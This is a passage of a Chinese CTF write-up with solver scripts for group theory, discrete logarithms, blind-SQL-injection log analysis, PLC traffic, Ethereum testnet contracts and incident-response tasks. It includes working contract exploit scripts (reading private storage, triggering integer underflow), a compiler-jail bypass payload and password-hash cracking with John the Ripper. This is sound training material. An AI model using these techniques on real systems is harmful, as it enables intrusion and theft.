in enumerate(lines) if '---' in line) except StopIteration: log.error("Could not find table separator '---' in the output.") return [] # 3. 从分隔线后精确地读取 n 行数据 table_data_lines = lines[separator_index + 1 : separator_index + 1 + n] if len(table_data_lines) < n: log.error(f"Expected {n} table rows, but only found {len(table_data_lines)}.") return [] # 4. 解析每一行 for i, line in enumerate(table_data_lines): try: # 按空格分割,并过滤掉空字符串,然后转换为整数 parts = [int(p) for p in line.split()] # 验证该行是否包含 n+1 个数字 (行号 + n个数据) if len(parts) == n + 1: table.append(parts[1:]) else: log.error(f"Row {i} is malformed. Expected {n+1} numbers, got {len(parts)}. Line: '{line}'") return [] except ValueError: log.error(f"Could not parse numbers in row {i}. Line: '{line}'") return [] return table def identify_group(table): """根据凯莱表计算指纹并识别群""" n = len(table) if n == 0: return None # 1. 检查交换性 (is_abelian) is_abelian = all(table[i][j] == table[j][i] for i in range(n) for j in range(n)) # 2. 找到单位元 (identity element) identity_label = -1 for i in range(n): is_identity_row = (table[i] == list(range(n))) is_identity_col = all(table[j][i] == j for j in range(n)) if is_identity_row and is_identity_col: identity_label = i break if identity_label == -1: log.error("Could not find identity element!") return None # 3. 计算所有元素的阶 element_orders = [] for i in range(n): order = 1 current = i while current != identity_label: current = table[current][i] order += 1 element_orders.append(order) # 4. 生成指纹 fingerprint = (n, is_abelian, tuple(sorted(element_orders))) log.info(f"Generated fingerprint: {fingerprint}") # 5. 在库中查找指纹 group_name = FINGERPRINTS.get(fingerprint) return group_name def main(): p = remote(HOST, PORT) p.recvuntil(b"get the flag.\n\n") for i in range(ROUNDS_NEEDED): log.info(f"--- Round {i+1}/{ROUNDS_NEEDED} ---") data = p.recvuntil(b"Your answer (e.g., C4, Z6, S3, D4, V4, Q8, A4, S4): ") table = parse_table(data) if not table: log.error("Failed to parse Cayley table. Exiting.") p.close() return log.info(f"Parsed table of order {len(table)}") group_name = identify_group(table) if group_name: log.success(f"Identified group as: {group_name}") p.sendline(group_name.encode()) feedback = p.recvline().decode().strip() log.info(f"Server feedback: {feedback}") if "Incorrect" in feedback: log.error("Server reported incorrect answer. Something is wrong with the logic or fingerprints.") break p.recvline() else: log.error("Could not identify the group.") p.close() return log.success("All rounds completed! Receiving flag...") p.recvuntil(b"flag: ") flag = p.recvline().decode().strip() log.success(f"FLAG: {flag}") p.close() if __name__ == "__main__": main()FLAG
flag{I_v3_b3c0m3_@n_e^3Rt_in_gr0up_7h30ry_@Ft3r_5o1ving_7hi5_+++bl3m!!!}DLP_1
Challenge
sagemath中好像有现成的工具?
【难度:简单】
Solution
加密逻辑分析
-
代码流程:
- 脚本将一个长度为 18 字节的
flag核心内容 (inner) 分成了 3 个 6 字节长的部分 (parts) - 对于每个部分,脚本执行了以下操作:
- 将 6 字节的
part转换为一个大整数x(bytes_to_long) - 生成一个 48 位的素数
p - 找到
p的一个原根g - 计算
h = pow(g, x, p),即h ≡ g^x (mod p)
- 将 6 字节的
- 最后输出三组
(p, g, h)的值
- 脚本将一个长度为 18 字节的
-
核心问题:
我们的任务是根据已知的p,g,h,反向求解出x具体来说,我们需要解三个独立的离散对数方程:
5^x₀ ≡ 78860859934701 (mod 189869646048037)3^x₁ ≡ 89478248978180 (mod 255751809593851)3^x₂ ≡ 81479747246082 (mod 216690843046819)
-
解决方法:
离散对数问题在通用情况下是困难的,但当模数p相对较小时我们可以使用一些算法来解决它:- 模数
p是 48 位的,这意味着p的大小约在2^47到2^48之间 - 对于这个规模的数字,BSGS 算法是一个非常有效的解决方法,该算法的时间复杂度和空间复杂度都是
O(sqrt(p))
- 模数
大步小步算法 (BSGS) 简介
我们要解 g^x ≡ h (mod p):
- 令
m = ceil(sqrt(p-1)),其中ceil是向上取整 - 我们可以把
x表示为x = i*m - j,其中0 <= i,j < m - 方程变为
g^(i*m - j) ≡ h (mod p) - 整理得
(g^m)^i ≡ h * g^j (mod p) - 小步 (Baby Steps):我们计算右边的
h * g^j对于所有j(0 <= j < m) 的值,并将结果{ (h * g^j mod p) : j }存入一个哈希表中 - 大步 (Giant Steps):我们计算左边的
(g^m)^i对于所有i(1 <= i <= m) 的值,并在哈希表中查找 - 一旦找到匹配项,即
(g^m)^i的值在哈希表中,我们就找到了对应的i和j - 最终解
x = i*m - j
注意:x 也可以表示为 x = i*m + j,这样方程变为 g^j ≡ h * (g^-m)^i (mod p)。两种形式都可以,实现上略有不同但原理一致。第二种形式更常见,因为它避免了在“大步”中计算 h 的逆。
from Crypto.Util.number import long_to_bytesfrom math import isqrt def bsgs(g, h, p): N = p - 1 # 模 p 的乘法群的阶 m = isqrt(N) + 1 # Baby steps: 计算 g^j 并存储在哈希表中 baby_steps = {} val = 1 for j in range(m): if val not in baby_steps: baby_steps[val] = j val = (val * g) % p # Giant steps: 计算 h * (g^-m)^i 并查找 # 首先计算 g 的逆的 m 次方: g^(-m) mod p g_inv_m = pow(g, -m, p) giant_step_val = h for i in range(m): if giant_step_val in baby_steps: j = baby_steps[giant_step_val] return i * m + j giant_step_val = (giant_step_val * g_inv_m) % p return None # 如果没有找到解 p_list = [189869646048037, 255751809593851, 216690843046819]g_list = [5, 3, 3]h_list = [78860859934701, 89478248978180, 81479747246082] # 存储解出的每个部分inner_parts = [] # 循环解出每一个 xfor i in range(3): p = p_list[i] g = g_list[i] h = h_list[i] print(f"[*] Solving for part {i}: g^{{x}} ≡ h (mod p)") print(f" g = {g}, h = {h}, p = {p}") # 使用 BSGS 求解 x x = bsgs(g, h, p) print(f" Found x = {x}") # 将 x 转换回 6 字节的字符串 # 原始脚本中每部分长度为 n = 18 // 3 = 6 part_bytes = long_to_bytes(x, 6) print(f" Converted to bytes: {part_bytes}") inner_parts.append(part_bytes) print("-" * 20) inner_flag = b''.join(inner_parts)flag = b'flag{' + inner_flag + b'}' print(flag.decode())FLAG
flag{I_l0v3_DLPPPPP^.^!}Week 3
Misc
日志分析-盲辨海豚
Challenge
城邦附近的水域突然出现了成群的海豚,导致城邦原本的海豚群被冲散。城邦的海豚会在半夜发出不同的回响,现在需要挑战者们通过声音帮助城邦找回走丢的海豚们
【难度:简单】
Solution
日志文件记录了**布尔盲注(Boolean-Based Blind SQL Injection)**攻击。攻击者通过构造 AND 后面的逻辑条件(如 length(database())=4)来判断条件的真假。
原理:
- 构造真/假问题:在 SQL 查询中注入一个逻辑判断语句
- 观察响应差异:
- 条件为 真 返回一个特定内容或状态的页面
- 条件为 假 返回另一个不同的内容或状态的页面
- 推断信息:通过观察响应的差异逐个字符地推断出数据库信息
在题目日志中可以看到:
- 当条件为 假 时(例如
length(database())=3),响应体的大小为 22 字节 - 当条件为 真 时(例如
length(database())=4),响应体的大小为 6 字节
因此 响应大小为 6 就是判断“真”的标志,可以利用这个标志来找出所有成功的猜测,拼起来就是 flag 了
import reimport urllib.parsefrom collections import defaultdict def analyze_blind_sql_log(log_file_path): """ 分析布尔盲注攻击的日志文件 """ # 根据日志分析,响应体大小为'6'表示SQL条件为真 TRUE_RESPONSE_SIZE = '6' with open(log_file_path, 'r', encoding='utf-8') as f: lines = f.readlines() # 预处理日志,筛选出所有表示“真”的URL请求 true_urls = [] for line in lines: if f' 200 {TRUE_RESPONSE_SIZE}' in line: log_match = re.search(r'"GET (.*?) HTTP/1\.1"', line) if log_match: decoded_url = urllib.parse.unquote(log_match.group(1)) true_urls.append(decoded_url) print(f"找到 {len(true_urls)} 条表示“条件为真”的日志记录。\n") # --- 1. 分析数据库信息 --- db_name_chars = {} db_name_len = 0 database_name = "" for url in true_urls: if (db_len_match := re.search(r'length\(database\(\)\)=(\d+)', url)): db_name_len = int(db_len_match.group(1)) if (db_char_match := re.search(r'ascii\(substr\(database\(\),(\d+),1\)\)=(\d+)', url)): pos, ascii_val = map(int, db_char_match.groups()) db_name_chars[pos] = chr(ascii_val) if db_name_chars: database_name = "".join(v for k, v in sorted(db_name_chars.items())) print(f"[+] 发现数据库名称: {database_name}") print(f" - 确认长度: {db_name_len}") else: print("[-] 未能从日志中解析出数据库名称。") return # --- 2. 分析表信息 --- table_name_chars = defaultdict(dict) for url in true_urls: if (table_char_match := re.search(r"ascii\(substr\(\(select table_name from .*? limit (\d+),1\),(\d+),1\)\)=(\d+)", url)): index, pos, ascii_val = map(int, table_char_match.groups()) table_name_chars[index][pos] = chr(ascii_val) tables = {} # 结构: {表名: { 'columns': {...}, 'column_names': [...] }} if table_name_chars: print(f"\n[+] 在数据库 '{database_name}' 中发现 {len(table_name_chars)} 个表:") for index, chars in sorted(table_name_chars.items()): name = "".join(v for k, v in sorted(chars.items())) tables[name] = {'columns': defaultdict(dict)} print(f" - {name}") # --- 3. 分析列信息并存储列名 --- for url in true_urls: match = re.search(r"ascii\(substr\(\(select column_name from .*?table_name\s*=\s*'(\w+)'.*?limit (\d+),1\),(\d+),1\)\)\s*=\s*'?(\d+)'?", url) if match: table_name, index, pos, ascii_val = match.groups() if table_name in tables: tables[table_name]['columns'][int(index)][int(pos)] = chr(int(ascii_val)) for table_name, data in tables.items(): if data['columns']: print(f"\n[+] 表 '{table_name}' 的列信息:") assembled_columns = [] for index, chars in sorted(data['columns'].items()): col_name = "".join(v for k, v in sorted(chars.items())) print(f" - {col_name}") assembled_columns.append(col_name) # 将解析出的列名列表存回字典 tables[table_name]['column_names'] = assembled_columns # --- 4. 分析和提取每个表每个列的数据 --- extracted_data = defaultdict(dict) for table_name, table_data in tables.items(): for column_name in table_data.get('column_names', []): # 构建正则表达式,匹配当前表和列的数据提取日志 pattern = re.compile( fr"ascii\(substr\(\(select {column_name} from {database_name}\.{table_name}\),(\d+),1\)\)\s*=?\s*'?(\d+)'?" ) temp_chars = {} for url in true_urls: match = pattern.search(url) if match: pos, ascii_val = map(int, match.groups()) temp_chars[pos] = chr(int(ascii_val)) if temp_chars: value = "".join(v for k, v in sorted(temp_chars.items())) extracted_data[table_name][column_name] = value # --- 5. 打印提取的数据 --- if not extracted_data: print(" - 未能从任何表中提取到具体数据。") else: for table, cols in extracted_data.items(): print(f"\n[+] 表 '{table}' 中的数据:") # 检查是否有数据被提取 has_data = False for col, val in cols.items(): if val: print(f" - 列 '{col}': {val}") has_data = True if not has_data: print(" - (未在此表中找到具体数据条目)") if __name__ == "__main__": LOG_FILENAME = "blindsql.log" analyze_blind_sql_log(LOG_FILENAME)FLAG
flag{SQL_injection_logs_are_very_easy}流量分析-S7的秘密
Challenge
人们在虚拟大陆逐渐适应,为了更好的生活,城邦们正在大力发展第二产业。但是一个陈旧的机器突然接收到了信号,值班的工人们紧急捕获了信号发生后的信息,挑战者们可以帮助工业破译接收到的信息吗?请将信息放在flag{}内提交
【难度:简单】
Solution
这段流量的核心是一系列从客户端 (192.168.0.100) 发往PLC (192.168.0.25) 的 写变量(Write Var) 操作
- 分析所有客户端发出的写变量请求(即报文3, 5, 7, 9…),并提取出两个关键信息:
- 写入的目标地址 (Byte Address)
- 写入的数据 (Data)
- 注意到这些写入操作的目标地址并不是按顺序的,而是被打乱的,因此我们需要根据内存地址来重新排列这些数据:
| 报文帧号 | 写入的字节地址 | 写入的16进制数据 | 对应的ASCII字符 |
|---|---|---|---|
| 3 | 0 | 0049 | I |
| 21 | 2 | 0049 | I |
| 7 | 4 | 004f | O |
| 23 | 6 | 0054 | T |
| 29 | 8 | 005f | _ |
| 31 | 10 | 0069 | i |
| 27 | 12 | 006d | m |
| 5 | 14 | 0070 | p |
| 19 | 16 | 006f | o |
| 25 | 18 | 0072 | r |
| 9 | 20 | 0074 | t |
| 11 | 22 | 0061 | a |
| 15 | 24 | 006e | n |
| 13 | 26 | 0074 | t |
| 17 | 28 | 0021 | ! |
- 将重新排序后的 ASCII 字符拼接起来得到
IIOT_important!
FLAG
flag{IIOT_important!}区块链-以太坊的约定
Challenge
城邦附近开了一家存储链子的工坊,快来看看吧!
本题由多个小问题组成,得到各个小问题答案后用下划线”_“拼接即可
1.注册小狐狸钱包,并提交小狐狸钱包助记词个数
2.1145141919810 Gwei等于多少ETH (只保留整数)
3.查询此下列账号第一次交易记录的时间,提交年月日拼接,如20230820
0x949F8fc083006CC5fb51Da693a57D63eEc90C675
4.使用remix编译运行附件中的合约,将输出进行提交
【难度:中等】
Solution
1
常识,12 个
2
常识,查下就知道这个单位怎么换算了,1145 ETH
3
首先出题人大概率不会花真金白银来出题,那就排除掉主网了,前面的问题问的都是以太坊的,那很明显是以太坊的测试网了,那么在众多测试网中最出名的一个当然就是 Sepolia 啦, Sepolia Transaction Hash: 0x26cf6de9d7… | Etherscan,Jun-14-2024 06:01:48 AM UTC
4
// SPDX-License-Identifier: MITpragma solidity ^0.8.0; contract SimpleOperation { function getResult() public pure returns (string memory) { uint a = 10; uint b = 5; uint sum = a + b; uint product = a * b; if (sum > product) { } return "solidity"; }}不跑也行,一眼看到 return "solidity";,solidity
FLAG
flag{12_1145_20240614_solidity}Week 4
Misc
区块链-智能合约
Challenge
如果你想和工坊签订合约,就来这个地址找它吧!
合约地址:0x88DC8f1de5Ff74d644C1a1defDc54869E5Ce3c08 合约在 sepolia 测试链上进行
【难度:简单】
SimpleVault2.0_user.sol
// SPDX-License-Identifier: MITpragma solidity ^0.8.0; contract SimpleVault { string private flag = "flag{fake_flag}"; uint256 private password = 0x0721; // 使用映射来记录每个地址的解锁状态 mapping(address => bool) public unlocked; function unlock(uint256 _password) external { // 检查当前调用者是否已经解锁,如果已经解锁,则无需再次操作 require(!unlocked[msg.sender], "Already unlocked!"); if (_password == password) { // 只修改当前调用者(msg.sender)的解锁状态 unlocked[msg.sender] = true; } } function getFlag() external view returns (string memory) { // 检查当前调用者是否已解锁 require(unlocked[msg.sender], "Vault is locked. Unlock it first!"); return flag; }}Solution
import osimport jsonfrom web3 import Web3from dotenv import load_dotenv # --- 1. 配置 ---load_dotenv()NODE_URL = os.getenv("SEPOLIA_RPC_URL")PRIVATE_KEY = os.getenv("PRIVATE_KEY") # 题目合约地址CONTRACT_ADDRESS = "0x88DC8f1de5Ff74d644C1a1defDc54869E5Ce3c08" # SimpleVault 合约的 ABIABI = json.loads('''[ { "inputs": [], "name": "getFlag", "outputs": [ { "internalType": "string", "name": "", "type": "string" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "uint256", "name": "_password", "type": "uint256" } ], "name": "unlock", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "", "type": "address" } ], "name": "unlocked", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "view", "type": "function" }]''') # --- 2. 连接到以太坊 ---w3 = Web3(Web3.HTTPProvider(NODE_URL)) # 加载账户my_account = w3.eth.account.from_key(PRIVATE_KEY)w3.eth.default_account = my_account.address # --- 3. 与合约交互 ---# 创建合约实例contract = w3.eth.contract(address=w3.to_checksum_address(CONTRACT_ADDRESS), abi=ABI) def send_and_wait_transaction(tx): """签名、发送交易并等待其完成""" signed_tx = w3.eth.account.sign_transaction(tx, private_key=PRIVATE_KEY) tx_hash = w3.eth.send_raw_transaction(signed_tx.raw_transaction) print(f" 交易已发送, 哈希: {tx_hash.hex()}") receipt = w3.eth.wait_for_transaction_receipt(tx_hash) print(f" 交易已确认, 区块号: {receipt.blockNumber}") return receipt # --- 4. 攻击 ---try: # --- 步骤 1: 读取私有变量 `password` --- print("\n[步骤 1] 读取合约 storage slot 1 以获取密码") password_slot = 1 storage_data = w3.eth.get_storage_at(w3.to_checksum_address(CONTRACT_ADDRESS), password_slot) # 将读取到的 bytes32 数据转换为整数 password_value = w3.to_int(storage_data) print(f" 从 slot {password_slot} 读取到原始数据 (hex): {storage_data.hex()}") print(f" 解码后的密码 (十进制): {password_value}") # --- 步骤 2: 调用 unlock 函数 --- print(f"\n[步骤 2] 使用密码 {password_value} 调用 unlock() 函数") unlock_tx = contract.functions.unlock(password_value).build_transaction({ 'from': my_account.address, 'nonce': w3.eth.get_transaction_count(my_account.address), 'gas': 100000, # gas 价格策略,适用于 EIP-1559 'maxFeePerGas': w3.eth.gas_price + w3.to_wei('5', 'gwei'), 'maxPriorityFeePerGas': w3.to_wei('2', 'gwei') }) # 发送交易并等待确认 send_and_wait_transaction(unlock_tx) print(" 成功调用 unlock()") # --- 步骤 3: 调用 getFlag 函数获取 Flag --- print("\n[步骤 3] 调用 getFlag() 函数获取 Flag") # 调用 view 函数不需要发送交易 flag = contract.functions.getFlag().call() print(flag) except Exception as e: print(f"发生错误: {e}")FLAG
flag{E4sy_S0lidity_D3v_F1a9_C0d3_4ud1t}应急响应-初识
Challenge
欢迎来到第四周。在前三周的挑战中,你已经掌握了基础的日志分析、流量分析、osint能力,请挑战者们集中所有力量,打开这扇应急响应大门吧!
城邦的图片托管服务平台遭受到恶意攻击,请挑战中们协助临时工清理处置,完成报告。
用户名:Administrator 密码:Newst@r
flag{木马连接密码_创建账号工具发布时间(年-月-日)_影子用户密码}
【难度:中等】
Solution

木马连接密码:rebeyond

影子用户密码:Ns2025

在桌面找到影子用户账号创建工具,搜索看可以找到 Release v 0.2 · wgpsec/CreateHiddenAccount,v0.2的发布时间是 Jan 18, 2022
FLAG
flag{rebeyond_2022-01-18_Ns2025}jail-Neuro jail
Challenge
Neuro 打 osu 的时候被关进 jail 了!一定是 Evil 干的,快点帮帮 Neuro 逃出 jail!【如果出现乱码问题,请在终端输入 chcp 65001】
【难度:简单】
jail.py
import sys, base64, subprocess, ossys.stdout.reconfigure(encoding='utf-8') if hasattr(sys.stdout, 'reconfigure') else None BANNER = """╔══════════════════════════════════════════════════════════════════════════════╗║ ║║ ███╗ ██╗███████╗██╗ ██╗ ███████╗████████╗ █████╗ ██████╗ ║║ ████╗ ██║██╔════╝██║ ██║ ██╔════╝╚══██╔══╝██╔══██╗██╔══██╗ ║║ ██╔██╗ ██║█████╗ ██║ █╗ ██║ ███████╗ ██║ ███████║██████╔╝ ║║ ██║╚██╗██║██╔══╝ ██║███╗██║ ╚════██║ ██║ ██╔══██║██╔══██╗ ║║ ██║ ╚████║███████╗╚███╔███╔╝ ███████║ ██║ ██║ ██║██║ ██║ ║║ ╚═╝ ╚═══╝╚══════╝ ╚══╝╚══╝ ╚══════╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ║║ ║║ PYTHON JAIL CHALLENGE ║║ ║║ Welcome to the NewStar CTF Python Jail! ║║ ║║ ┌─────────────────────────────┐ ║║ │ MISSION BRIEFING: │ ║║ │ │ ║║ │ Escape the waf jail │ ║║ │ │ ║║ └─────────────────────────────┘ ║║ ║║ ║║ Good luck, NewStar! ║║ ║╚══════════════════════════════════════════════════════════════════════════════╝""" def jail(code): if (len(code) > 200): exit("Code too long!") blacklist = [ "(", ")", "[", "]", "{", "}", "<", ">" ] for word in blacklist: if word in code: exit("Blacklisted word found: " + word) print(BANNER)content = base64.b64decode(input("Input your base64 content: ").encode()).decode("utf-8") jail(content) with open("./template_cpp.cpp", "r") as f: template = f.read()template = template.replace("/* YOUR CODE HERE */", content)with open("./temp.cpp", "w") as f: f.write(template) try: if (os.path.exists("./temp")): subprocess.run(["rm", "./temp"], timeout=2) res = subprocess.run(["g++", "./temp.cpp", "-o", "./temp", "-std=c++11"], timeout=2) if res.returncode != 0: exit("Compilation failed!") result = subprocess.run(["./temp"], capture_output=True, text=True, timeout=2) output = result.stdout print("Program output:\n" + output) if "NewStar!!!" in output: f = open("./flag", "r"); print(f.read())except subprocess.TimeoutExpired: print("Execution timed out!")template_cpp.cpp
#include <iostream>#include <string> int main() { /* YOUR CODE HERE */ std::string s = "NoWay"; std::cout << s; return 0;}Solution
在C++预处理阶段,如果一行的最后一个字符是反斜杠 \,预处理器会把它和下一行物理地拼接成一个逻辑行。合并后的逻辑行在预处理器看来是这样的:std::string s = “NewStar”; // std::string s = “NoWay”;
这样就可以把下一行给注释了
因此可以鼓构造 payload:std::string s = "NewStar!!!"; //\
base64 编码后得到:c3RkOjpzdHJpbmcgcyA9ICJOZXdTdGFyISEhIjsgLy9c
╔══════════════════════════════════════════════════════════════════════════════╗║ ║║ ███╗ ██╗███████╗██╗ ██╗ ███████╗████████╗ █████╗ ██████╗ ║║ ████╗ ██║██╔════╝██║ ██║ ██╔════╝╚══██╔══╝██╔══██╗██╔══██╗ ║║ ██╔██╗ ██║█████╗ ██║ █╗ ██║ ███████╗ ██║ ███████║██████╔╝ ║║ ██║╚██╗██║██╔══╝ ██║███╗██║ ╚════██║ ██║ ██╔══██║██╔══██╗ ║║ ██║ ╚████║███████╗╚███╔███╔╝ ███████║ ██║ ██║ ██║██║ ██║ ║║ ╚═╝ ╚═══╝╚══════╝ ╚══╝╚══╝ ╚══════╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ║║ ║║ PYTHON JAIL CHALLENGE ║║ ║║ Welcome to the NewStar CTF Python Jail! ║║ ║║ ┌─────────────────────────────┐ ║║ │ MISSION BRIEFING: │ ║║ │ │ ║║ │ Escape the waf jail │ ║║ │ │ ║║ └─────────────────────────────┘ ║║ ║║ ║║ Good luck, NewStar! ║║ ║╚══════════════════════════════════════════════════════════════════════════════╝Input your base64 content: c3RkOjpzdHJpbmcgcyA9ICJOZXdTdGFyISEhIjsgLy9cProgram output:NewStar!!!flag{58f8cf0b-9c3d-44dd-9757-1935ef568af9}FLAG
flag{58f8cf0b-9c3d-44dd-9757-1935ef568af9}Week 5
Misc
应急响应-把你mikumiku掉-1
Challenge
城邦为世界第一公主殿下搭建了网站,突然受到了CVE组织的攻击,你能帮城邦对服务器进行排查吗
解压密码:d93e2cb85b2a51ef40e86e4bd6df0b14
账号:newstar 密码:newstar
请问攻击者使用的漏洞编号是?flag{漏洞编号}
【难度:中等】
Solution
在 /home/newstar/.bash_history 发现修改了 /etc/systemd/system/tomcat.service,怀疑是 tomcat 的洞,直接在搜索引擎搜索 “tomcat cve 2025” 找到 RCE 漏洞 CVE-2025-24813,一试就出来了
FLAG
flag{CVE-2025-24813}应急响应-把你mikumiku掉-2
Challenge
flag{木马连接密码_恶意用户密码}
tips:用户密码是六位特定范围内的字母构成
【难度:中等】
Solution
吐槽一下这题的 tips 放得有点晚
先找到恶意用户是 mikuu,首次登录时间为 2025-10-17 13:28:23

在时间线上找 2025-10-17 13:28:23 前面一点的内容

找到木马 mikuu.jsp,连接密码是 miiikuuu

拿到该用户的密码哈希 $y$j9T$gCRCetfmd6EZeGuAZkRfn0$uZ/dNiHtjvkJDNfwMoGkJYiOkVV4UW4K0uzNr5FBeO8,将其写入 hash.txt 备用
根据提示用户密码是六位特定范围内的字母构成,猜测特定范围内的字母(也就是字符集)是 miku,写脚本生成字典
import itertoolswith open('wordlist.txt', 'w') as f: for p in itertools.product('miku', repeat=6): f.write(''.join(p) + '\n')然后用 JtR 爆破:
john --wordlist=wordlist.txt --format=crypt hash.txtUsing default input encoding: UTF-8Loaded 1 password hash (crypt, generic crypt(3) [?/64])Cost 1 (algorithm [1:descrypt 2:md5crypt 3:sunmd5 4:bcrypt 5:sha256crypt 6:sha512crypt]) is 0 for all loaded hashesCost 2 (algorithm specific iterations) is 1 for all loaded hashesWill run 16 OpenMP threadsPress 'q' or Ctrl-C to abort, almost any other key for statusmiiiku (mikuu)1g 0:00:00:04 DONE (2025-10-27 19:01) 0.2490g/s 95.61p/s 95.61c/s 95.61C/s mimkmm..miiuuuUse the "--show" option to display all of the cracked passwords reliablySession completed得到恶意用户的密码 mikuu
FLAG
flag{miiikuuu_miiiku}应急响应-把你mikumiku掉-3
Challenge
被加密文件里面的内容是什么?
【难度:中等】
Solution
在 /home/mikuu 找到加密程序和加密文件

mcp 一把梭了

from Crypto.Cipher import AESfrom Crypto.Util.Padding import unpad KEY = bytes.fromhex("12 34 56 78 9A BC DE F0 11 22 33 44 55 66 77 88".replace(" ", ""))IV = bytes.fromhex("19 19 81 01 14 51 40 EF FE DC BA 98 76 54 32 10".replace(" ", "")) with open("flag.miku", "rb") as f: iv_file = f.read(16) ciphertext = f.read() cipher = AES.new(KEY, AES.MODE_CBC, IV) plaintext = unpad(cipher.decrypt(ciphertext), 16) print(plaintext)FLAG
flag{Miku_miku_oo_ee_oo}区块链-INTbug
Challenge
合约地址:0xB6748b3B308b382E28438cc72872e2D70369D90b
【难度:简单】
// SPDX-License-Identifier: MITpragma solidity ^0.8.0; contract SimpleOverflowVault { string private flag = "flag{fake_fake_fake}"; mapping(address => bool) public unlocked; mapping(address => uint256) public userPoints; uint256 public totalPoints; mapping(address => uint256) private userSpentPoints; event PointsAdded(address indexed user, uint256 points); event PointsUsed(address indexed user, uint256 points); constructor() { totalPoints = 0; userSpentPoints[msg.sender] = 1000; } function addPoints(uint256 points) external { require(points > 0, "Points must be greater than 0"); if (userSpentPoints[msg.sender] == 0) { userSpentPoints[msg.sender] = 1000; } userPoints[msg.sender] += points; totalPoints += points; emit PointsAdded(msg.sender, points); } function usePoints(uint256 points) external { require(points > 0, "Points must be greater than 0"); require(userPoints[msg.sender] >= points, "Insufficient points"); if (userSpentPoints[msg.sender] == 0) { userSpentPoints[msg.sender] = 1000; } userPoints[msg.sender] -= points; unchecked { totalPoints -= points; userSpentPoints[msg.sender] -= points; } if (userSpentPoints[msg.sender] > 1000) { unlocked[msg.sender] = true; } emit PointsUsed(msg.sender, points); } function getFlag() external view returns (string memory) { require(unlocked[msg.sender], "Vault is locked. Trigger integer underflow first!"); return flag; } function getSpentPoints() external view returns (uint256) { return userSpentPoints[msg.sender] == 0 ? 1000 : userSpentPoints[msg.sender]; } function resetUser() external { uint256 userCurrentPoints = userPoints[msg.sender]; if (userCurrentPoints > 0) { unchecked { totalPoints -= userCurrentPoints; } userPoints[msg.sender] = 0; } userSpentPoints[msg.sender] = 1000; unlocked[msg.sender] = false; }}Solution
吐槽一下,这题的合约地址在开赛 9 小时后才被放出…
目标是调用 getFlag() 获取合约中存储的 flag,调用的条件是将自己的 unlocked 状态设置为 true,然后发现它能在 usePoints 函数中被修改为 true
function usePoints(uint256 points) external { // ... if (userSpentPoints[msg.sender] > 1000) { unlocked[msg.sender] = true; } // ...}条件是 userSpentPoints[msg.sender] 的值大于 1000,然后分析 userSpentPoints[msg.sender] 这个变量的行为:
- 在首次调用
addPoints/usePoints时值被设置为 1000 - 在
usePoints函数中,该变量的值会通过userSpentPoints[msg.sender] -= points;这行代码被减少
整个合约中 userSpentPoints 的值只会减小不会增加,要怎样才能让它大于 1000 呢?
Solidity 从 0.8.0 开始会默认开启溢出保护,然而在上面的代码中这个保护却被人为关闭了
unchecked { totalPoints -= points; userSpentPoints[msg.sender] -= points;}因此合约存在整数下溢漏洞,只需要在调用 usePoints 时传入的 points 参数大于 userSpentPoints[msg.sender] 的当前值(1000)就会触发下溢
import osimport jsonfrom web3 import Web3from dotenv import load_dotenv # --- 1. 配置 ---load_dotenv() NODE_URL = os.getenv("SEPOLIA_RPC_URL")PRIVATE_KEY = os.getenv("PRIVATE_KEY") CONTRACT_ADDRESS = "0xB6748b3B308b382E28438cc72872e2D70369D90b" # SimpleOverflowVault 合约的 ABIABI = json.loads('''[ { "type": "constructor", "inputs": [], "stateMutability": "nonpayable" }, { "type": "function", "name": "addPoints", "inputs": [ { "name": "points", "type": "uint256", "internalType": "uint256" } ], "outputs": [], "stateMutability": "nonpayable" }, { "type": "function", "name": "getFlag", "inputs": [], "outputs": [ { "name": "", "type": "string", "internalType": "string" } ], "stateMutability": "view" }, { "type": "function", "name": "getSpentPoints", "inputs": [], "outputs": [ { "name": "", "type": "uint256", "internalType": "uint256" } ], "stateMutability": "view" }, { "type": "function", "name": "resetUser", "inputs": [], "outputs": [], "stateMutability": "nonpayable" }, { "type": "function", "name": "totalPoints", "inputs": [], "outputs": [ { "name": "", "type": "uint256", "internalType": "uint256" } ], "stateMutability": "view" }, { "type": "function", "name": "unlocked", "inputs": [ { "name": "", "type": "address", "internalType": "address" } ], "outputs": [ { "name": "", "type": "bool", "internalType": "bool" } ], "stateMutability": "view" }, { "type": "function", "name": "usePoints", "inputs": [ { "name": "points", "type": "uint256", "internalType": "uint256" } ], "outputs": [], "stateMutability": "nonpayable" }, { "type": "function", "name": "userPoints", "inputs": [ { "name": "", "type": "address", "internalType": "address" } ], "outputs": [ { "name": "", "type": "uint256", "internalType": "uint256" } ], "stateMutability": "view" }]''') # --- 2. 连接到以太坊 ---w3 = Web3(Web3.HTTPProvider(NODE_URL)) if not w3.is_connected(): print("❌ 连接以太坊节点失败") exit() print(f"✅ 成功连接到以太坊节点,链 ID: {w3.eth.chain_id}") # 加载账户my_account = w3.eth.account.from_key(PRIVATE_KEY)w3.eth.default_account = my_account.addressprint(f"✅ 使用账户地址: {my_account.address}") # --- 3. 与合约交互 ---# 创建合约实例contract = w3.eth.contract(address=w3.to_checksum_address(CONTRACT_ADDRESS), abi=ABI) def send_and_wait_transaction(tx, tx_name="交易"): """一个辅助函数,用于签名、发送交易并等待其完成""" try: # 估算 gas tx['gas'] = w3.eth.estimate_gas(tx) print(f" 估算 Gas: {tx['gas']}") except Exception as e: print(f" Gas 估算失败,使用默认值 200000。错误: {e}") tx['gas'] = 200000 signed_tx = w3.eth.account.sign_transaction(tx, private_key=PRIVATE_KEY) tx_hash = w3.eth.send_raw_transaction(signed_tx.raw_transaction) print(f" {tx_name} 已发送, 哈希: {tx_hash.hex()}") receipt = w3.eth.wait_for_transaction_receipt(tx_hash, timeout=120) print(f" {tx_name} 已确认, 区块号: {receipt.blockNumber}") return receipt # --- 4. 执行攻击 ---try: # --- 步骤 1: 查看初始状态 --- print("\n[步骤 1] 查看初始状态") is_unlocked_before = contract.functions.unlocked(my_account.address).call() user_points_before = contract.functions.userPoints(my_account.address).call() spent_points_before = contract.functions.getSpentPoints().call() print(f" Vault 是否解锁: {is_unlocked_before}") print(f" 当前用户积分: {user_points_before}") print(f" 当前已花费积分 (逻辑值): {spent_points_before}") if 